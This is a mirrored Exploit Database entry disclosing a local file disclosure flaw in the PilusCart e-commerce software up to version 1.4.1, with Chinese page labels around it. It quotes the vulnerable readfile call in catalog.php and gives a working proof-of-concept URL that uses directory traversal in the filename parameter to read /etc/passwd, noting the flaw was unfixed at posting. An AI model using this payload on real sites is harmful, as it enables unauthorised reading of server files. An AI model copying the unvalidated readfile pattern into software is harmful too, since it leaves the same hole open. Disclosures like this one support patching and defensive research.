PilusCart 1.4.1 – Local File Disclosure

• Exploit Database
• 54 阅读

• 作者： Damian Ebelties
  日期： 2019-08-29
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/47315/

• # Exploit Title: PilusCart <= 1.4.1 - Local File Disclosure
  # Date: 29 August 2019
  # Exploit Author: Damian Ebelties (https://zerodays.lol/)
  # Vendor Homepage: https://sourceforge.net/projects/pilus/
  # Version: <= 1.4.1
  # Tested on: Ubuntu 18.04.1
  
  The e-commerce software 'PilusCart' is not validating the 'filename' passed correctly,
  which leads to Local File Disclosure.
  
  As of today (29 August 2019) this issue is unfixed.
  
  Vulnerable code: (catalog.php on line 71)
  
  readfile("$direktori$filename");
  
  Proof-of-Concept:
  
  https://domain.tld/catalog.php?filename=../../../../../../../../../etc/passwd